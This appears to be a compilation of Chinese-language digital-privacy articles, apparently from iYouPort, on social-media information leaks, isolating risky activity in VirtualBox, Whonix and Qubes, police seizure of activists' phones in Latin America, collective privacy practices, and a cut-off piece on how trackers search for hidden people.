发布到社交媒体和其他在线网站的信息可供任何人使用，当然包括恶意行为者、也包括法庭。

案例3、

你在x公司担任一名相当高级别的领导人。你的一名员工满50岁。你决定让另一名员工为该员工拍照，您站在办公桌前为他/她庆生，交给他一份礼券，并将照片发布到社交媒体上。

您没有注意到桌面上的计算机是打开的，屏幕显示的内容可以帮助潜在的网络钓鱼者入侵您的操作系统和应用程序，允许他们向您发送更有针对性的攻击。

甚至有些办公室的计算机上还贴有便笺，上面有WiFi网络名称（SSID）和密码。攻击者可以通过社交工程或对您办公室位置的物理访问来利用这些信息。

此外另外一些计算机已打开了 Microsoft Outlook（您的工作电子邮件程序），一旦放大该屏幕，我们就会看到一封“保密”的电子邮件。监视者可以阅读整个电子邮件。

并且，公司政策是您需要始终佩戴公司徽章。由于您在社交网络晒出的照片中佩戴了徽章，恶意行为者可以将其复制并重新制作成真正的徽章，以尝试使用社交工程伎俩进入您的公司。

——结论——

以上只是最简单的示例，我们演示过，攻击还可以做得更多更复杂。您可能需要重新考虑您的在线活动。考虑以下问题：

- 您真的有必要在网上发布您的运动习惯吗，以供所有人查看？
- 请考虑设定标准，比如在公司的某些区域内拍照是被禁止的；
- 您真的需要公开自己的手机号码吗？
- 炫富会带来很多危险您是否有此意识？

请问问自己，通过留下密码提示信息和其他可能用于破解密码的关键信息，你是否让攻击者和坏人更容易入侵你？这几乎相当于把钥匙挂在前门上让任何人进入你的房子或办公室一样。如果你有时间查看人们的社交媒体TL，会很容易得到一个恶意行为者所需要的一切信息的答案，这是非常危险的—— 你说的太多了！

请不要小看自己的价值，你的价值自己说了不算，攻击者认为的才算数。这类攻击每天都在发生，也许您自己是无辜的、你没那么多钱、没有那么显赫的社会地位、也很顺应所谓的主流意识形态，但是，你认识的人中有与上述诸多条件相反的人吗？如果有，你可以会被攻击者当成一个旁道跳板—— 通过攻击你，来获取对你那个有钱有地位、或者政治异议的熟人发起攻击。

请参考以下提示：

- 不时评估自己，想一想可能构成威胁的在线指标都是什么；

- 发帖前先想想，如果坏人得到它会能挖出什么东西；
- 改变一些公司或社区或团队的政策以保持更安全、以及激发成员更多的安全意识；
- 选择退出或删除有关您自己的在线信息;
- 最重要的是考虑一下，如果您的数据受到损害，可能会产生什么影响。

总之，安全的一切都在细节上，思考方式非常重要，它能帮您在意识层面上加一把锁。

原文

系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去 - iYouPort

护盾（AS）

江湖险恶啊，坏蛋已经够多了，情报机构比坏蛋更恶毒，他们能把你扔进监狱。可天下没有绝对安全，我们该如何尽可能保护自己？

「图」

「图」

大众操作系统，包括 Windows，Mac OS X 和 Linux，太容易破解了。稍不留神—比如打开了带有木马的电子邮件附件、安装了伪装成 Flash 的恶意软件、没有足够快地更新软件 等等—都会让你成为攻击者的盛宴。

攻击者可以访问您的所有文件，可以记录您的按键、截取屏幕快照，甚至可以通过麦克风窃听，并通过网络摄像头偷窥。

但是你可以将最要紧的文件和程序与计算机的其他部分隔离开来。包括即使你打开了可能是未知的附件，也可以保护你的系统。再比如访问不太确定的网站—色情网站，洪流网站，盗版电视和体育网站—或测试从网站随机下载的软件，虚拟化技术都可以将危险隔离出来。

你还可以通过它来保持在线匿名，通过确保所有互联网流量通过它进行路由来保护 Tor 提供的隐私护盾—即使软件，如 **Tor Browser** 或 **Pidgin**，也有可能被特意攻击，攻击者有可能绕过 **Tor**。

很多地方都会用到虚拟化技术，比如sandbox、程序保护壳等。

> 本文是虚拟机上的简单入门，包括如何在其中一安装 Ubuntu Linux 发行版。再介绍一个可以在虚拟机中运行的操作系统，以最大化你的在线匿名性; 它是保持秘密身份的理想选择。此外还会介绍一种比目前大

多数可用的操作系统更安全的操作系统，并提升隔离安全性。

虚拟机 **VM**

每个虚拟机在运行时都会使用计算机内存的一大块，并拥有自己的虚拟硬盘，这只是真实硬盘上的一个文件。可以在其中安装操作系统和运行软件，可以在执行具有潜在危险的操作之前保存快照，并在完成后还原快照，从而将 VM 恢复到先前的状态。

在虚拟化术语中，您现在运行的操作系统称为“主机”，您运行的每个 VM 都是“来宾 / 访客”。如果来宾虚拟机被骇客入侵，您的主机将保持安全。

出于这个原因，安全研究人员经常使用 VM 来研究病毒：在来宾虚拟机上释放病毒，以安全地监控它们正在尝试做什么以及如何工作，他们将病毒与其他计算机“隔离”起来。

本文使用名为 VirtualBox 的虚拟化软件。它是开源的，可以免费下载。VirtualBox 适用于 Windows，Mac OS X 和 Linux。如果您尝试，可以在这里下载并安装副本。

一般来说，首先在虚拟机中安装 Linux 发行版更简单。可以根据需要随意安装任意数量的 Linux 虚拟机—轻松设置。

如果想要在虚拟机内测试 Windows 或 Mac OSX 的软件以查看它是否恶意，还可以在 VM 中安装这些操作系统。但是有限制。例如，虽然 OS X 可以免费安装在最多两台虚拟机上，但是当您这样做时必须是在 Mac 上；在 Windows 上，您可能需要为每个 VM 购买单独的 Windows 许可证。以下是在 VM 中安装 Mac OS X 以及在 VM 中安装 Windows 10 的说明。

不必担心破坏任何东西，你可以随时删除您的 VM 重新开始。这就是虚拟机的好处：用电子游戏的说法就是，你获得了无限的生命。

创建 **VM** 并安装 **Ubuntu**

希望您已经按照上面的说明下载并安装了 VirtualBox。接下来，跳到 Ubuntu 的网站并下载 Ubuntu 的副本。

现在打开 VirtualBox 并单击“新建”以创建新 VM。下面是正在调用虚拟机“ubuntu-test”。

「图」

「图」

您可以选择新 VM 将具有多少内存，然后为其创建新的虚拟硬盘。您分配给 VM 的资源将无法用于计算机上的其他程序。最后，单击“创建”。

下一步是安装 Ubuntu。选择“ubuntu-test” VM 后，单击“开始”启动它。由于虚拟机是全新的，它会提示插入操作系统安装盘。当然实际上并不需要“磁盘”，相反可以找到并选择磁盘映像文件，然后单击“开始”。

「图」

「图」

现在 VM 开始启动到 Ubuntu 磁盘。注意，如果您单击虚拟机窗口，VirtualBox 会警告您 VM 将“捕获”您的鼠标和键盘输入，这意味着当您移动鼠标并在键盘上键入时，您将在您的来宾虚拟机中执行此操作，而不是您的主机上。

您可以按“主机键”使鼠标和键盘再次控制常规计算机。在 Mac 上，主机键是左“Command”键，在 Windows 和 Linux 上，它是右键“Ctrl”键。

「图」

「图」

Ubuntu 磁盘已完成启动。点击“安装 Ubuntu ”并按照简单的说明操作。

选择“擦除磁盘并安装Ubuntu”（不用担心，只是擦除虚拟机的虚拟磁盘）。编写一个用户名和密码登录到这个 VM，然后将让它完成安装。当它最终完成后，VM 将重新启动到刚安装的操作系统中（安装 Ubuntu 后，VM 在重启时也许无法完全关闭。如果您也遇到这种情况，请单击“机器”菜单并选择“重置”以强制重新启动 VM）

更新 **VM** 内的软件

要及时更新软件哦，养成习惯，在虚拟机中也坚持这样做。

要更新 Ubuntu 中的所有软件，运行“软件更新程序”，输入密码，然后等着它干活儿。由于你刚刚安装了此操作系统并且从未进行过更新，因此下载和安装所有内容可能需要一段时间。

「图」

「图」

Guest Additions

现在就是安装 VirtualBox Guest Additions 了。Guest Additions 不是必需的，但它允许你做一些便捷的操作，比如调整 VM 窗口大小，在主机和来宾机之间共享剪贴板，设置共享文件夹，以便来宾机 VM 可以访问主机上的特定文件。

要安装 Guest Additions，需要将包含该软件的虚拟 CD 插入 VM。您可以通过单击屏幕顶部的“设备”菜单，从 VirtualBox 程序中选择“插入Guest Additions CD图像“。它会弹出一个对话框，要求获得安装许可。单击“运行”，VirtualBox 将打开一个显示安装进度的新窗口。

完成后，重新启动 VM。您可以通过单击右上角的齿轮，点“关机”，然后单击“重新启动”来执行此操作。

你能看到上面菜单中的选项分别是：“已禁用”，“主机到访客”，“访客到主机”或“双向”。除非您需要在访客虚拟机和主机之间进行复制和粘贴，否则最好将此设置保持为“已禁用”。您可以随时暂时启用剪贴板共享，完成后再次禁用它。⚠ 这个很重要哦。

「图」

「图」

共享文件夹

共享文件稍微复杂一些。首先，您需要将用户添加到 VM 中的“vboxsf”组（如果您不明白这意味着什么也不用担心）。单击左上角的 Ubuntu 徽标，键入“terminal”，然后单击 Terminal 图标以在 VM 中打开终端。然后输入：

sudo usermod -a -G vboxsf $(whoami)

您还必须在 VM 中键入 Ubuntu 中的用户帐户密码，这是您之前设置

的密码。然后关闭你的 VM。

「图」

「图」

在 VirtualBox 窗口中选择您的 VM 并单击“设置”，然后转到“共享文件夹”选项卡。单击“＋”图标以添加要与 VM 共享的文件夹。

「图」

「图」

隔离 **VM** 内部的危险行为

在做一些您认为可能会破坏 VM 或可能会遭恶意软件感染的动作之前，您可能希望保存它的快照，以便在完成后恢复它。可以通过单击屏幕顶部的 VirtualBox 的“计算机”菜单并选择“拍摄快照”来保存快照。

」打开您不信任的文档

被骇客攻击的最简单方法之一就是打开恶意文档。攻击者可能会通过电子邮件向您发送一个陷阱。如果你点开它了，该恶意文件将利用操作系统或 Adobe Reader 或 Microsoft Word 等软件中的缺陷，从而允许攻击者接管您的计算机。

我们并不总是清楚哪些文件是安全的，哪些是恶意的。一个聪明的攻击者可以假装邀请你参加你感兴趣的会议，并附上一个伪装成会议日程的恶意文件，或者他们可以假装招聘你提供你的梦想工作，并附上一些看起来像是职位的描述—总之他们对你调查很久了，完全可以提供你最感兴趣的东西吸引你。

最安全的方法是不打开任何附件或点击电子邮件中的任何链接，但这是完全不可行的，特别是对于积极征求消息来源的记者或活动家来说。

您可能还会在网上找到您真正想要查看的文件，但不确定是否安全。例如，Hacking Team 电子邮件归档中的文档。你可能不应该相信那些，但无论如何你可能想看看它们。

这是一封电子邮件，黑客团队的员工似乎在讨论如何向埃及国防承包

商提供他们的黑客服务演示。附件被称为“Exploit.docx”，似乎合法？

如果我尝试在 Chrome 中打开这个可疑文件，浏览器会抛出安全警告，这是有充分理由的。从 Hacking Team 存档下载的任何附件可能会让人被入侵。

「图」

「图」

相反，你将右键单击该文档并将其保存到 vbox_share 文件夹（单击 Chrome 的警告，因为我打算单独查看此文档）现在回到 VM 中，就可以看到该文档了。

💡 为了更加安全，在打开这些文档之前，断开 **VM** 与互联网的连接。单击屏幕顶部的“设备”菜单，选择“网络”，然后取消选中“连接网络适配器”。这样当你打开文档时，如果它试图破解你的虚拟机并连接到命令和控制服务器，甚至只是打电话回家提醒文件所有者它已被打开，它都无法做到。

每当您在 VM 中打开可疑文档时，最好都这样做。

」 访问奇怪的网站

在日常使用的普通计算机上，强化 Web 浏览器始终是个好主意。安装阻止广告和恶意软件的浏览器插件，对于阻止可能试图通过 Web 浏览器接管您的计算机的软件大有帮助。

但即使做了所有这些事，也无法保证只是通过加载网站就不会被黑客入侵。如果您打算访问一个您认为可能会遭受黑客攻击的网站，通过 VM。

您甚至可以为此目的设置专用 VM。（如果在上一步中关闭了网络，可以通过单击“设备”菜单，转到“网络”并选中“连接网络适配器”再次启用它）

」 运行易受攻击的软件

所有程序都包含 bug，这些 bug 可能被利用来接管计算机。不被骇客攻击的最简单彻底的方法是不使用计算机，但这肯定不是一种选择;我们仍然需要运行程序。

有些程序的攻击面比其他程序大得多。例如，libpurple，为加密聊天程序 Pidgin 和 Adium 提供支持的底层代码，因其最初写于1998年的旧的臃肿的，可能有缺陷的源代码而受到严厉批评（近年来许多关键的 libpurple 错误得到了修复，所以它目前的形状要好得多）但是，如果您想在计算机上进行加密聊天对话，那么除了使用它之外，您没有很多选择。

如果您依赖某个软件，但是您认为在主机上运行它会增加被黑客攻击的可能性，您可以设置专用 VM 来运行该程序。

例如，⚠ 如果您的专用聊天虚拟机通过 Pidgin 攻击被入侵，攻击者将能够监视你在 Pidgin 中加密的聊天对话，但即便如此，🔐 他们也无法访问您计算机上的其他文件。他们将无法查看您在网络浏览器中保存的密码，或通过麦克风窃听，也无法阅读电子邮件或其他任何密码。

你还是要小心

所有软件都有错误，当然也包括虚拟化软件。虽然隔离 VM 内部的危险活动大大降低，但从来没有绝对安全。

⚠ 如果您的虚拟机被攻击，那么攻击者可以逃脱您的虚拟机，以便在您的主机上自由运行和更改程序。为此攻击者必须利用虚拟化软件。这些错误很少见，但确实发生过。

您还应该小心如何使用上面描述的 VirtualBox 剪贴板共享和文件共享功能。

例如，如果有人攻击了共享剪贴板设置为“Host to Guest”或“Bidirectional”的 VM，则攻击者可能会监视您复制到主机上剪贴板的内容—例如密码。

🌤 **Whonix** 以保持匿名

Whonix 是一个操作系统，您可以在 VirtualBox 内部的现有计算机上安装，这会强制所有网络流量通过匿名网络 Tor。

关于 Tor 我们介绍过很多啦，可以在这里找到。但 Tor 浏览器和所有其他软件一样，都有漏洞，是的他们更新是很快的。如果您访问 **Tor** 浏览器中的网站，该网站可以假装利用严重的错误强迫您的计算机与 **Tor** 网络外的攻击者建立互联网连接，让他们了解您的真实 **IP** 地址

和身份。这正是"联邦调查局在2013年9月时抓人用的歪点子"。

🔐 Whonix 使用两个虚拟机，称为 Whonix-Gateway 和 Whonix-Workstation，以最大限度地保护匿名。

网关 VM 充当工作站 VM 的上游互联网提供商，它强制所有网络流量通过 Tor 网。工作站 VM 是您使用 Tor 浏览器的地方。如果你被攻击，例如使用类似 **FBI** 用过的 **Tor** 浏览器漏洞攻击，攻击者不仅被包含在此 **VM** 中无法访问您的主机，也无法打破匿名化。攻击者所做的所有网络连接都将通过网关 **VM**，迫使他们通过 **Tor**。

Whonix 非常棒，因为您可以确信在工作站 VM 中所做的一切都是匿名通过 Tor 网的。这意味着攻击者无法对您验明身份，除非他们可以逃离您的虚拟机。

您可以使用 XChat 等聊天软件匿名连接到 IRC 服务器，或者使用 Pidgin 连接到 Jabber 服务器进行匿名加密聊天，或使用 Icedove 和 Enigmail 发送匿名加密电子邮件。

⚠ 但请记住，Whonix 与其他基于虚拟机的安全性一样，如果您的主机遭到攻击或被占用，它是无法保护您的。如果您使用 Whonix 匿名向记者发送文档，并且被专制政府怀疑为嫌疑人，您的 Whonix VM 中可能包含可用于对您定罪的证据！⚠

安装和配置 **Whonix**

转到 Whonix VirtualBox 下载页面并下载 Whonix-Gateway 和 Whonix-Workstation 的副本（总共3.1GB，因此可能需要一些时间）。验证 PGP 签名也是一个好主意，我们以前介绍过。

下载完成后，打开 VirtualBox，单击顶部的“文件”菜单，然后单击“导入设备”。浏览刚刚下载的 Whonix-Gateway 文件，然后单击“继续”。

「图」

「图」

现在单击“导入”，阅读警告，然后单击“同意”。您的 Whonix 网关 VM 将自动设置。使用 Whonix-Workstation 重复这些相同的步骤。完成后，VirtualBox 中将有两个新 VM。

「图」

「图」

启动 Whonix-Gateway 和 Whonix-Workstation。您需要在后台打开网关 VM，否则工作站 VM 将无法访问 Internet，但您将在工作站中完成大部分工作。

当网关 VM 第一次完成引导时，您需要对其进行配置。单击“Whonix 安装向导”以启用 Tor 和自动更新。

单击工作站 VM 中的“Whonix 安装向导”。在两个 VM 中，更改默认密码并更新软件。

现在是时候开始使用 Whonix 了。在工作站 VM 中，继续并打开 Tor Browser。它会在您第一次尝试打开时自动下载并安装它。一旦打开，您可以匿名浏览网页，即使 **Tor** 浏览器被攻击，也可以保持匿名。

「图」

「图」

Qubes：隔离的安全性

由于所有软件都有错误，隔离自己的 VM 中的每个程序是不是最安全呢？ Qubes 是一个操作系统，可以做到这一点，并且比传统操作系统中使用 VirtualBox 或 VMWare 等虚拟化软件更加可用和安全。

在 Qubes 中，您的主机运行图形桌面环境，就是这样—主机甚至无法访问 Internet。您可以在 Linux 或 Windows VM 中运行所有其他软件。 Qubes 也对 Whonix 有很大的支持。如果在 Qubes 中使用 Whonix，则与使用传统操作系统时相比，主机的受攻击面要小得多。

Qubes 可以轻松管理不同“安全域”的单独 **VM**。例如，您可以创建用于检查工作电子邮件并登录工作相关帐户的工作 VM，以及您使用的单独个人 VM 登录 Facebook。您可以创建用于日常 Web 冲浪中的不受信任的 VM，以及用于存储敏感文件（如密码数据库）或您正在处理的机密文档的 Vault VM。您可以右键单击任何文档以在“一次性 VM”中打开它，这是一个仅为查看此文档而创建的 VM，然后在关闭文档时再次删除。

「图」

「图」

虽然它拥有一个活跃的开发社区和不断增长的用户群，但 Qubes 对于非高级用户来说并不容易使用。除非您已经习惯从命令行解决 Linux 问题。在 Qubes 中，诸如如何安装新程序或截取屏幕截图这样的简单问题可能会让初学者产生陡峭的学习曲线。

🔐 但总而言之，如果您使用 **Qubes**，您可以将计算机变成一个令人难以置信的复杂而安全的堡垒，这与传统操作系统不同。

最后再唠叨一句，所有软件都有 bug，包括 Qubes 和 Xen，这是为 Qubes 提供动力的虚拟化软件。即使您正在运行 Qubes，并立即更新所有软件，并仔细隔离所有软件，只打开一次性 VM 中的文档，并在 Whonix 工作站内的 Tor Browser 中进行所有浏览，您的主机仍然可能被攻击，只要攻击者拥有大量资源、耐心以及掌握零日漏洞。这里是关于零日漏洞的白话级介绍。情报机构花大价钱买这东西，足见他们是有多坏。〇

原文

被抢走的手机成为警察镇压反对派的信息宝库 - iyouport

护盾（AS）

他们抓住一个人，就等于抓住一群人。反抗者的任务必需包括尽可能避免让警察得逞。

4月下旬，一波抗议活动席卷了整个哥伦比亚，起因是一项拟议的税收改革措施，许多人担心该措施会对该国已经陷入困境的工人阶级产生不成比例的影响。

在这里看到这场斗争的详细介绍《他们认为杀几个人就能制服我们，而我们变成了数百万》。

警方很快开始围捕一些示威者，包括西南部城市卡利的一名女性抗议者。当局给她戴上了手铐，拿走了她的手机，然后把她和其他一群被拘留者放在一起。

在某个时候，一名警察回来了，并提出要松开这位女性抗议者的手铐。她后来告诉哥伦比亚数字权利组织 Fundación Karisma，当他们这样做时，这名抗议者意识到警官正将她的指尖按在她的手机上，以便解锁她的手机。当当局最终把设备还给这位抗议者时，她发现自己的设备已经被解锁了。

人权专家说，类似这样的事件在拉丁美洲正在上升。对于希望对社会运动和反对派领导人立案的执法官员来说，被扣押的智能手机已经成为一个信息库。直到几年前，大多数人的基本设备中还只有几十个联系人，几乎没有其他有价值的信息；而现在，一个人的智能手机上的数据基本上就可以描绘出他们生活的全貌。

“一个活动家可能有20或30个群组 —— 在 WhatsApp、Telegram 等等之间 —— 他们用来与几千人沟通”，保罗·尼格罗说，他在数字权利非营利组织 AccessNow 帮助管理全球安全求助热线。

为了更容易地侵入设备，一些拉丁美洲国家已经与网络安全公司签订

了合同，这些公司生产的取证软件允许当局绕过加密和其他保护措施。这些公司通常辩称，他们的工具“有助于帮助合法的刑事调查”，但是，批评者说，它们经常被专制政权用来侵犯公民权利。

- 📌 关于取证技术，在这里看到具体介绍《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《警察有可能如何恢复您已删除的互联网浏览历史记录》

位于哥斯达黎加的数字权利倡导组织 Fundación Acceso 在去年的一份报告中说，萨尔瓦多和洪都拉斯都从 Cellebrite 公司购买了许可，而危地马拉则使用了 Magnet AXIOM 数字调查/取证软件，该软件可以让执法人员恢复手机中被删除的信息。同一份报告说，尼加拉瓜寻求与 EnCase 签订合同，这是一套声称可以解密设备并复制其中数据的取证工具。

- Cellebrite 提供恢复从设备中删除的数据的服务 —— 即 数字取证。在这里看到更多具体介绍《“只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部》；《警方可拿走设备上全部数据还让你不知道—— 这是什么技术？哪个公司提供？》；《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

https://t.me/iyouport/8286

但是，当局往往不需要高科技工具就能获得存储在手机上的个人数据。拉丁美洲的许多人仍在使用没有完整加密的旧款安卓和iPhone设备，这意味着锁屏密码实际上并不能提供多少保护。在这些情况下，“即使[警察]不能进入实际的操作系统，[他们]也能取出所有的数据”，尼格罗说。

一旦执法部门获得了设备的访问权，主管官员就能够在几分钟内拿走他们需要的任何东西。在被没收后，“如果你不确定警察是否从你的手机中提取了你的信息，你很可能已经被提取了”，尼格罗说。

- 如果您错过了《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》
- 《如何保持 Android 设备免受警察的侵害》

数字权利专家说，如果手机被扣押，其所有者可能没有什么法律诉求，但各地的保护措施不尽相同。去年，巴西高级法院在一个具有里程碑意义的案件中裁定，强迫被告人交出其电子设备的密码，侵犯了他们不应自证其罪的权利。法院认为，“没有人有义务提供对自己不利的证据”，并引用了巴西宪法以及《美洲人权公约》。该公约已被大多数美洲国家批准（但美国是明显的例外）。

哥伦比亚、墨西哥、秘鲁和其他一些拉美国家要求警察有司法命令才能获取私人通信，但法院的裁决往往与当地的现实情况相去甚远。Nigro 说：“我们必须明白，在拉丁美洲，法律效力是一回事，在事实上如何运作则是另一回事”。【嗯，中国也是如此】

在过去的两个月里，尼加拉瓜当局在定于11月举行的全国选举之前逮捕了十几名反对派领导人。记者已经证实，该国警察没收了被拘留者的手机，在某些情况下，强迫他们交出密码。

国际危机组织（一家人权非营利组织）的中美洲分析员蒂齐亚诺·布雷达（Tiziano Breda）说：“在某些情况下，逮捕令只是表示有强烈的迹象，这可能意味着 [警察] 没有任何证据。可能通过被捕者的手机，警察可以尝试获取进一步的信息”。

在丹尼尔·奥尔特加总统的领导下，尼加拉瓜出台了一系列限制言论自由和其他自由的新法律。10月通过的一项全面的“特别网络犯罪法案”对任何传播“虚假和/或失实信息，造成恐慌、害怕、焦虑”的人处以最高4年的监禁。

许多被逮捕的候选人和活动家都是根据12月通过的另一项条款被指控的，该条款禁止尼加拉瓜人实施任何“破坏国家独立、主权和自决”的行为。布雷达说：“这套法律主要是为了打击、抑制和分化反对派”。

苹果和谷歌等科技公司允许用户远程擦除他们的设备，但专家说，如果你的手机被扣押，预防措施是最好的防御。

Access Now 建议弱势群体—— 如活动家、记者和研究人员 —— 只使用有阅后即焚功能的通信应用程序；你还应该为你的手机锁屏设置复杂的密码，而不是使用生物识别选项，如指纹或面部识别。具体防御措施见这里：《如果您的手机被盗或被警察抢走...》，以及《指南：当您准备参加抗议活动...》。

Access Now 的拉丁美洲政策经理 Gaspar Pisanu 说，苹果和谷歌等

科技公司可以采取更多措施，更好地保护该地区用户的数据不被扣押。他说，例如，他们应该优先考虑迅速回应专制国家中要求删除其信息的人。但归根结底，问题出在政府身上，它们往往没有保护人们隐私的动力。Pisanu 说："人们没有真正的防御，因为保护他们的应该是国家"。

（注：我们不同意最后这句话。我们的经验证明您很可能无法依靠任何人，尤其是国家，国家本身就是一个暴力机器。自己保护自己才是最现实的方法。）〇

Police in Latin America are turning activists' phones against them

原文

要想保护每个人的人权和安全，我们就需要联合 - iYouPort

护盾（AS）

保护数字隐私是一项无人能够独自完成的工作。尽管您可以采取许多措施来保护自己的隐私，但只有当我们认识到隐私是一项团队运动时，真正的保护效果才会出现。

「图」

「图」

保护数字隐私是一项无人能够独自完成的工作。尽管您可以采取许多措施来保护自己的隐私，但只有当我们认识到隐私是一项团队运动时，真正的保护才会出现。因此，当我们在1月28日庆祝数据隐私日时，不要只是改变您自己的工具和行为以保护您自己的隐私—— 还要鼓励您的朋友、家人和同事采取行动。

1、不要只是自己安装像 Signal 这样的端到端加密消息应用程序。应该鼓励其他人加入你，这样你们之间就可以安全地进行沟通。除了保护自己的通信之外，您还应该建立了一个用户群，可以保护使用加密安全服务的其他人。

例如，如果只有您使用专门为活动家制作的小众安全消息传递应用程序，可能会令您被当局和监视者视为正在从事敏感活动的信号。但是，随着用户群变得越来越大，越来越多样化，简单地下载和使用这些技术就不太可能标志着特定活动。

- 在这里找到我们提供的全部安全工具：《安全手册》

需要事先与您的联系人讨论如何更改其设置。如果对话中的任何一个参与者启用了云备份，那么与他们进行对话的副本将在未经加密的云中存储。

2、这同样适用于电子邮件服务提供商。请不要只是将您自己的电子邮件移至安全加密的邮件提供商或您自己的服务器。应该鼓励您的所有联系人都这样做。

否则，您即便自己使用了 Criptext 而与使用 Gmail 或 Yahoo Mail 的联系人通信，也将会使隐私暴露给您一直在试图绕避的老大哥。

- 在这里找到安全的谷歌替代品《Google 产品的替代品—完整列表》

3、不要只加密自己的设备。应该建议您的联系人和同事也都使用全盘加密，这样您的共享文件才可以做到真正的安全了。

- 在这里找到关于加密的、给活动家和记者的安全技术支持：《当你手握真相：最基本的防护知识》

4、不要只是自己安装 Privacy Badger。向您的朋友和家人讲述它的作用以及使用起来多么容易，只有越来越多的人使用这些工具我们才可以发出更响亮的声音，要求广告客户遵守规则。

5、不要只是改变自己的社交媒体设置和操作习惯。请与您的朋友讨论您在线透露的潜在敏感数据。

因为，即使您没有社交媒体帐户，或者即使您从他人的相片标记中取消了自己，您的朋友仍然可以无意识中被监视者识别出您的身份、报告出您的位置，并将您与他们联系起来。

如果您使用 Facebook 进行社会运动组织，请务必与他人合作，以保持您的 Facebook 群组的私密性和安全性。

- 在这里看到关于使用社交媒体是必须注意的事：《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

6、共同保护隐私也适用于离线的情况。不要只为自己和自己的设备做好应对维稳的准备。无论你在任何一个国家，这点都是一样的，请与组织者和其他抗议参与者分享保护安全的措施，并提前讨论如何使用功能强大的照片、视频和其他媒介安全地记录并分享您的活动。

- 在这里找到给活动家的支持方案：《集会参与者有必要了解的基本安全措施》

当然，没有一套单一的方法可以适合所有人的安全需求，每个人在采

取上述步骤时都应该考虑自己的威胁模型。但是，我们越是更多地分享信息和最佳实践，我们就越能够微调那些保护自己和彼此的方式。

于是，这就需要一个注重隐私的用户社区来保护任何一个人的安全。IYP 希望能为您提供帮助。

- 在这里找到如何评估您最需要什么样的东西：《了解自己的状况是保护安全的第一步》

For Data Privacy Day, Play Privacy As A Team Sport：Protecting digital privacy is a job no one can do alone. While there are many steps you can take to protect your own privacy, the real protection comes when we recognize that privacy is a team sport

原文

警察通常会如何寻找一个"失踪的/躲起来"的人？ - iyouport

开源情报-每个人都可用的武器护盾（AS）

NGO组织也可以这样做以帮助寻找失踪的老人和儿童

故意躲起来的人是最难寻找的，因为他们会精心设计很多避免被找到的方法；被绑架藏匿的人是次级难度，因为绑匪会精心设计避免被找到的方法，但被绑架的人（如果足够聪明的话）会努力留下被寻找到的踪迹。相比下迷路的人更容易被找到。

但不论如何，找人的工作采用的都是一套相似的方法/思考方式，只是在深入程度上有所不同，不论是警察还是NGO组织，都依靠近似的逻辑。

我们有过一套详细的介绍，关于如何隐藏自己以避免被找到，见《完美隐身》（此处链接为最后一集，其中包含完整列表），这是为帮助您躲避警察、间谍、私家侦探、疯狂的前任、债主、以及任何迫害者。

“完美隐身” 系列是在藏匿者角度上的思考，作为对抗性思考方式，您同样有必要了解对手会怎么做，以便有针对性地准备。

想要追踪您的人都懂得一些基本的追踪原理，他们知道该如何查找线索，那么这些线索是什么呢？

追踪者的困难是逃避者的机会

「图」

追踪者会从目标人的失踪原因开始，做一些简单的排除法，关于此人最不可能去的地方，以及更可能去的地方。

相关人员是追踪者入手的第一步：亲戚、朋友、同事和其他熟人。每个人通常对情况都有自己的看法，对所发生的事情有各种版本。这些

版本越是混乱，追踪者的耗时就越长。

追踪者需要获得基本信息（故事情节），否则将没有任何线索和初步数据。而这一阶段，上述相关人会提供很多错误的信息以及情感参与。追踪者必须花很多时间把真相和事实与人们的猜测区分开。如果没有最详细和真实的故事情节，就很难向前推进。

追踪者定期需要与相关人员进行沟通，不可能通过一次对话得到成功搜寻所需的一切。额外的问题总会出现。情绪激动的人经常会提出一些不存在的东西。

对于逃跑者来说，您身边的人对您的了解越少，对您的失踪越是毫无准备，追踪者就会在此更多碰壁。

有目的地失踪者在失踪前通常会大大混淆追踪线索，比如销毁电脑、手机，烧毁各种文件，删除社交媒体账户，清除电子邮件，等等。所有这些也会使调查变得更加困难。在我们的《完美隐身》系列中讲述了如何做到全套销毁的具体方法。

对于追踪者来说最重要的方面是预算。在这种情况下追踪者真的需要大量的费用：向不同的机构、计费系统、城市监控摄像头、交通系统（火车、飞机等）等提出信息要求。成本会因国家而异；对于逃避者来说，也取决于您得罪的人有多大的权力，权力越大，他们可用的预算就会越大。

任何寻找失踪人员的行动都有一个重要规则就是：如果一个人失踪造成的损失远远低于寻找他所需的预算，那么就没人愿意去找这个人。

有许多不同的“但是”，如声誉或“原则问题”，但这些是相当例外的。否则，预算就是主要的规则。这一原则并不适用于寻找亲戚或朋友。当然，也有例外情况，即有可能不计成本地追踪一个人，但这种情况极少发生。

基本搜寻方法

「图」

每个案例可能都是独特的，但有一些基本原则对任何搜寻来说都是一样的。

1、它总是从采访有信息的人开始。大多数情况下，这些人是失踪者

的亲属和朋友。有必要尽可能详细地重现当时的情况：事件在失踪前后发生的顺序是什么？谁是最后一个见到失踪者的人？失踪者当时的行为上是否有任何不寻常？失踪的动机可能是什么？该人是否带走了什么东西？等等。所有这些都是初步信息，追踪者可以在此基础上进一步开展工作。

2、追踪者会想尽办法检查失踪者的记录、电话、电脑和其他东西，如果它们还在的话，失踪者的家属一般会允许这样做，因为他们会被告知这样才能更快找到人。对于失踪者来说，您留下什么东西，需要心里有数，甚至可以用故意留下的东西来误导追踪者。

例如，浏览器的历史记录，或者有趣的信件等等。一般来说，访问通信工具和社交网络中的交流对追踪者来说都是非常有价值的信息。参见这里的演示《浏览历史记录曝光你的内心全景图》。

3、追踪者需要制作一个目标人的行为档案。为了做到这一点，他们会仔细分析社交网络、视频、照片，有时还会分析手写文本。有时它是了解失踪者动机的重要关键，同时，也可能让追踪者能够部分预测目标人的行动。

4、绘制数字档案（样本档案），包括全名、年龄、婚姻状况、工作地点、社会关系网络、爱好等等。一般来说，这是一份关于个人的经典分析报告。这也可以帮助从另一个角度审视目标人的个性，因此可以揭示各种有趣的事实。

